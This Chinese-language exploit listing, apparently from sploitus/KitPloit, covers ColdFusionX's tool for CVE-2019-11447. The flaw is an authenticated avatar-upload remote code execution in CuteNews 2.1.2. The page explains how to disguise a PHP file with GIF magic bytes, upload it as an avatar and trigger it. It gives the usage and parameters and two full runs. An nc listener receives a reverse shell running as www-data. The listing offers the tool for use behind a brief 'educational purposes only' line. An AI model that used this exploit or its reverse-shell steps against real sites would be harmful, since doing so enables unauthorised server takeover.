## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-COLDFUSIONX-CVE-2019-11447_CUTENEWS-AVATARUPLOADRCE
# CVE-2019-11447 漏洞利用/PoC - CuteNews 2.1.2 头像上传 RCE(需认证)
> 针对 CVE-2019-11447(即 CuteNews 2.1.2 头像上传 RCE,需认证)的漏洞利用代码
漏洞利用链接:
预期结果:登录/注册一个账户,构造带有 .gif 魔数字节的用户 PHP 文件,以头像形式上传该文件,并触发它以实现远程代码执行。
仅用于教育目的和企业环境测试。
此漏洞利用已在 Python 3.8.6 上测试通过。
### 使用方法
root@kitploit:~
cfx: ~/cutenews
→ ./exploit.py -h
usage: exploit.py [-h] [-l URL] [-u USERNAME] [-p PASSWORD] [-e EMAIL]
CuteNews 2.1.2 Avatar upload RCE (Authenticated) by ColdFusionX
optional arguments:
-h, --help show this help message and exit
-l URL, --url URL CuteNews URL (Example: http://127.0.0.1)
-u USERNAME, --username USERNAME
Username to Login/Register
-p PASSWORD, --password PASSWORD
Password to Login/Register
-e EMAIL, --email EMAIL
Email to Login/Register
漏洞利用用法:
./exploit.py -l http://127.0.0.1 -u cold -p fusion -e some-email@example.com
./exploit.py -l http://127.0.0.1 -u optimus -p prime -e some-email@example.com
[^] 选择你的 PHP 文件 -> rev.php
或
[^] 选择你的 PHP 文件 -> ~/Downloads/rev.php
[^] 按下 y/n 触发反弹 shell -> y
#### 用户输入:
此漏洞利用在初始运行时需要四个参数:
* **-l** :CuteNews URL
* **-u** :登录/注册所需的用户名
* **-p** :登录/注册所需的密码
* **-e** :登录/注册所需的邮箱
额外需要的用户输入:
* **选择你的 PHP 文件 - >** 这里用户需要指定要上传的 PHP 文件,可以是**任意** PHP 文件,例如:PHP 信息、PHP 反弹 shell。如果 PHP 文件与漏洞利用脚本在同一目录下,则用户只需指定文件名:
示例:`[^] 选择你的 PHP 文件 -> rev.php`
否则,用户需要指定 PHP 文件的位置:
示例:`[^] 选择你的 PHP 文件 -> ~/Downloads/rev.php`
* **按下 y/n 触发反弹 shell - >** 如果用户上传的是 PHP 反弹 shell,他/她可以选择是否通过 y/n 触发反弹 shell。
无论如何,漏洞利用脚本都会打印出上传文件的路径以供后续使用。
#### 漏洞利用执行
* 场景 1 > 使用现有凭据登录并获取反弹 shell:
root@kitploit:~
cfx: ~/cutenews
→ ./exploit.py -l http://127.0.0.1 -u optimus -p prime -e some-email@example.com
[+] CuteNews 2.1.2 Avatar Upload RCE exploit by ColdFusionX
[+] 用户存在!登录成功
[^] 选择你的 PHP 文件 -> rev.php
[*] 向 PHP 文件添加魔数字节
[+] 上传成功!!
[*] 文件位置 --> http://10.10.10.206/CuteNews/uploads/avatar_cold_cold.php
[^] 按下 y/n 触发 PHP 文件 -> y
[*] 检查监听器以获取反弹 shell
[*] 执行完成
#### Shell
root@kitploit:~
cfx: ~/cutenews
→ nc -lvnp 8020
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8020
Ncat: Listening on 0.0.0.0:8020
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:32868.
Linux passage 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
03:06:04 up 4:15, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
prime tty7 :0 22:50 4:15m 9.36s 0.69s /sbin/upstart --user
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
* 场景 2 > 注册新用户并获取反弹 shell:
root@kitploit:~
cfx: ~/cutenews
→ ./exploit.py -l http://127.0.0.1 -u cold -p fusion -e some-email@example.com
[+] CuteNews 2.1.2 Avatar Upload RCE exploit by ColdFusionX
[+] 凭据 cold:fusion 注册成功
[^] 选择你的 PHP 文件 -> rev.php
[*] 向 PHP 文件添加魔数字节
[+] 上传成功!!
[*] 文件位置 --> http://127.0.0.1/CuteNews/uploads/avatar_cold_cold.php
[^] 按下 y/n 触发 PHP 文件 -> y
[*] 检查监听器以获取反弹 shell
[*] 执行完成
#### Shell
root@kitploit:~
cfx: ~/cutenews
→ nc -lvnp 8020
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8020
Ncat: Listening on 0.0.0.0:8020
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:32868.
Linux passage 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
03:06:04 up 4:15, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
prime tty7 :0 22:50 4:15m 9.36s 0.69s /sbin/upstart --user
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
## 参考
* https://nvd.nist.gov/vuln/detail/CVE-2019-11447